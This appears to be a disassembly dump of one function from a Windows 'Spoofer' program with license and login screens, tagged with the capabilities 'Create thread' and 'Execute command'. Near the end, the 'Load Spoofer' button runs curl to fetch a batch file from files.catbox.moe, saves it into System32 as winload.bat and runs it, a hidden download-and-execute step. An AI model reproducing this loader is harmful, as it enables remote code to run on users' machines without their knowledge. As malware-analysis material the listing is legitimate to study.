Function at 0x140002540
Capabilities:
Create thread
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140140f00]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edi, edi
cmp byte [reloc.WS2_32.dll_accept], dil
je 0x140002d33
xorps xmm6, xmm6
movss xmm0, dword [0x140140f90]
movss xmm1, dword [0x140140f94]
mov rcx, qword [0x140142418]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm6
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x140140f98]
movss xmm1, dword [0x140140f9c]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov rax, qword [rcx + 0x1d18]
lea r8, str.Foreground
mov edx, 1
mov rcx, qword [rax + 0x38]
call fcn.1400089c0
mov eax, dword [0x1401427c0]
test eax, eax
jne 0x1400029f6
mov r8d, 0x12a
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.Spoofer
call fcn.140010d30
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14012ab3c]
addss xmm2, dword [0x14012ab50]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rbp + 7], 0x437a0000
mov dword [rbp + 0xb], 0x432f0000
lea rdx, [rbp + 7]
lea rcx, str.Boxlogin
call fcn.14000dde0
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14012ab68]
addss xmm2, dword [0x14012ab54]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
lea rcx, str.Enter_Your_License:
call fcn.140044580
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14012ab58]
addss xmm2, dword [0x14012ab60]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov qword [rbp + 7], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rax, [rbp + 7]
mov qword [rsp + 0x20], rax
mov r9d, 0x28
lea r14, [0x1401423e0]
mov r8, r14
xor edx, edx
lea rcx, str.License
call fcn.140049d30
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x14012ab78]
addss xmm2, dword [0x14012ab88]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rbp + 7], 0x42960000
mov dword [rbp + 0xb], 0x41980000
lea rdx, [rbp + 7]
lea rcx, str.Login
call fcn.140044ea0
test al, al
je 0x1400029ec
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x2f], rdi
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [r14 + rbx], dil
jne 0x1400028f0
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x140002d7c
cmp rbx, 0xf
ja 0x140002937
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, r14
lea rcx, [rbp + 0x17]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x17], dil
jmp 0x1400029c9
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x14000296c
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400f90a0
test rax, rax
je 0x14000299c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400029ab
mov ecx, socket
cmp rax, rcx
cmovb rax, rcx
mov rsi, rax
lea rcx, [rax + 1]
test rcx, rcx
je 0x1400029ab
cmp rcx, 0x1000
jb 0x1400029a3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002d82
jmp 0x140002951
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f90a0
mov rdi, rax
mov qword [rbp + 0x17], rdi
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rsi
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
lea rdx, [rbp + 0x17]
lea rcx, [0x1401424e0]
call fcn.140068bf0
cmp byte [0x1401426f0], 0
je 0x1400029ec
mov dword [0x1401427c0], 1
call fcn.14000deb0
jmp 0x140002d2e
cmp eax, 1
jne 0x140002d2e
movss xmm0, dword [0x140140f90]
movss xmm1, dword [0x140140f94]
mov rcx, qword [0x140142418]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm6
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1401410a8]
movss xmm1, dword [0x1401410ac]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov r8d, 0x12a
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.Spoofer
call fcn.140010d30
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x14012ab50]
addss xmm2, dword [0x14012ab3c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 7], 0x43be0000
mov dword [rbp + 0xb], 0x434a0000
lea rdx, [rbp + 7]
lea rcx, str.Box
call fcn.14000dde0
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x14012ab74]
addss xmm2, dword [0x14012ab70]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov edx, edi
lea rcx, str.Temporary_Spoofer
mov rbx, 0xffffffffffffffff
nop
mov rax, rbx
inc rax
cmp byte [rcx + rax], dil
jne 0x140002bd3
inc rcx
add rcx, rax
inc edx
cmp byte [rcx], dil
jne 0x140002bd0
mov dword [rsp + 0x20], edx
call fcn.140047a10
call fcn.14000deb0
mov rcx, qword [0x140142418]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x14012ab8c]
addss xmm2, dword [0x14012ab64]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 7], 0x438c0000
mov dword [rbp + 0xb], 0x41f00000
lea rdx, [rbp + 7]
lea rcx, str.Load_Spoofer
call fcn.140044ea0
test al, al
je 0x140002d2e
mov eax, dword [0x1401427c4]
test eax, eax
jne 0x140002d04
mov ecx, 1
call fcn.1400f90a0
mov qword [rbp + 7], rax
lea rcx, [rbp + 0x1f]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x1400039b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x17], rax
test rax, rax
je 0x140002d6d
cmp dword [rbp + 0x1f], 0
je 0x140002d61
movaps xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp + 7], xmm0
lea rcx, [rbp + 7]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140002d61
mov eax, dword [0x1401427c4]
cmp eax, 1
jne 0x140002d2e
lea rcx, str.curl___silent_https:__files.catbox.moe_zeompi.bat___output_C:WindowsSystem32winload.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_C:WindowsSystem32winload.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140013f60
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400f9080
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x1f], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140001a90
int3
call fcn.1400019f0
int3